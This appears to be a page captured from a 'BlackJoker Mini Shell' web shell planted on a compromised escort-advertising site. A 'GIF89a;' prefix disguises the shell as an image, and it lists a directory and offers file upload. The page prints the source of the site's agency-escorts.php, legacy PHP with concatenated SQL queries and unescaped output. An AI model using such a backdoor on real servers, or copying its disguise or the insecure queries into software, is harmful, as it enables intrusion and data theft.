GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/m/
Upload File :
Current File : /home/serb/www/m/agency-escorts.php

<?
session_start();
//include("config.php");
if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
include("lib/globals.php");
include("lib/common.php");
include("lib/functions.php");

$todatee=date('Y-m-d');
$sql="SELECT * FROM page_content WHERE id='55'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);
?>


<!DOCTYPE html> 
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title>Agency Escorts List | Escort Service-Escorts,Female Escorts,Models,Call Girls,GEF,Companions</title>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="themes/escserve.css" />
  <link rel="stylesheet" href="themes/jquery.mobile.icons.min.css" />
  <link rel="stylesheet" href="jMobile.css" /> 
  <script src="jquery.min.js"></script> 
  <script src="jqueryMobile.js"></script>
</head> 
<body> 
<div data-role="page" id="page" data-theme="d" data-transition="flip">
	<div id="headerTop"></div>    
    <? include "includes/header.php";?>
    <div data-role="content" id="searchboxx">
    	<div data-role="fieldcontain" id="ser" data-iconpos="right">            
            <input type="search" name="search-2" id="search-2" value="" />
        </div>	
    </div>
    <div data-role="content">
    	<h2 id="loginheadertext">Agency Escort List</h2>
         <? if($_GET['msg']==1)
		{?>
         <p id="loginalertmsg">Your Ad has been posted successfully and viewable soon.</p>
         <? }?> 
        <p><a href="add-agencyescort.php" data-ajax="false" data-transition="fade"><img src="images/newescoerts.png"/></a></p>
        
    </div>
	
    <div data-role="content">
    	<ul data-role="listview">
                   <?
				   	$sql_nescorts="select * from escort_details WHERE status='a' AND user_id='".$_SESSION['userid']."'  order by id DESC ";
					$res_nescorts=execute_query($sql_nescorts);
					while($row_nescorts=mysql_fetch_array($res_nescorts))
					 {
				   	 
							$sql_nimage="SELECT * FROM escort_photo where postid='".$row_nescorts['id']."'";
							$res_nimage=execute_query($sql_nimage);
							$num_nimage=mysql_num_rows($res_nimage);
							$row_nimage=mysql_fetch_array($res_nimage);
							if($num_nimage>0)
							{
								
									?>
								   <li >
				
									<a id="cityesimg" style="border-bottom:0px !important;" href="escort-details.php?estid=<?=$row_nescorts['id']?>" data-ajax="false" data-transition="fade">
										<img width="80" height="100" src="http://escortservice.org/avtar/<?=$row_nimage['picture']?>" />
										<h3 id="pdingleft"><? echo ucfirst($row_nescorts['nickname'])?></h3>
										<p id="pdingleft"><?=$row_nescorts['escort_city']?></p>
                                        <p id="pdingleft"><?=$row_nescorts['age']?> Yr Old <?=$row_nescorts['ethencity']?> </p>
                                        <p id="pdingleft">
										<? $desc=explode(' ',$row_nescorts['description']);
											for($k=0; $k<=17; $k++)	
											{
												echo $desc[$k].' ';
											}
										?>...
																				
									    </p>
									
										</a>
                                      <p style="border-bottom:1px solid #F0D7E2 !important; background:#FAF2F5 !important; margin:0px !important;"> <a href="edit-agencyescorts.php?estid=<?=$row_nescorts['id']?>" data-ajax="false"> <img src="images/agencyedit.png"/></a></p>
									</li>
                                    
									   
								   <?
							  }else
								 {?>
									<li>
			
								<a id="cityesimg" href="escort-details.php?estid=<?=$row_nescorts['id']?>" data-ajax="false" data-transition="fade">
									<img width="80" height"80" src="http://escortservice.org/images/no_photo_female.gif" />
									<h3 id="pdingleft"><? echo ucfirst($row_nescorts['nickname'])?></h3>
										<p id="pdingleft"><?=$row_nescorts['escort_city']?></p>
                                        <p id="pdingleft"><?=$row_nescorts['age']?> Yr Old <?=$row_nescorts['ethencity']?> </p>
                                        <p id="pdingleft">
										<? $desc=explode(' ',$row_nescorts['description']);
											for($k=0; $k<=17; $k++)	
											{
												echo $desc[$k].' ';
											}
										?>...
																				
									    </p>
								
									</a>
                                    <p> <a href="edit-agencyescorts.php?estid=<?=$row_nescorts['id']?>" data-ajax="false"> <img src="images/agencyedit.png"/></a></p>
								</li>								
																 
							<? }
															
					
					
					 }?>
                    
						                
                   
                     
        </ul>
	  	
	</div>
    <div data-role="panel" data-display="push" data-position="right" data-theme="d" id="navMenu">
       <? include "includes/right-menubar.php";?>
    </div><!-- /panel -->
	<div data-role="footer" >
    	<div  id="footerTop">
	
        	 <? include "includes/footer.php";?>
           
	</div>
		<div id="footerBottom"><p>Copyright 2015 ESCORTSERVICE.ORG | All Rights reserved.</p></div>
	</div>
</div>
</body>
</html>

./BlackJoker Mini Shell 1.0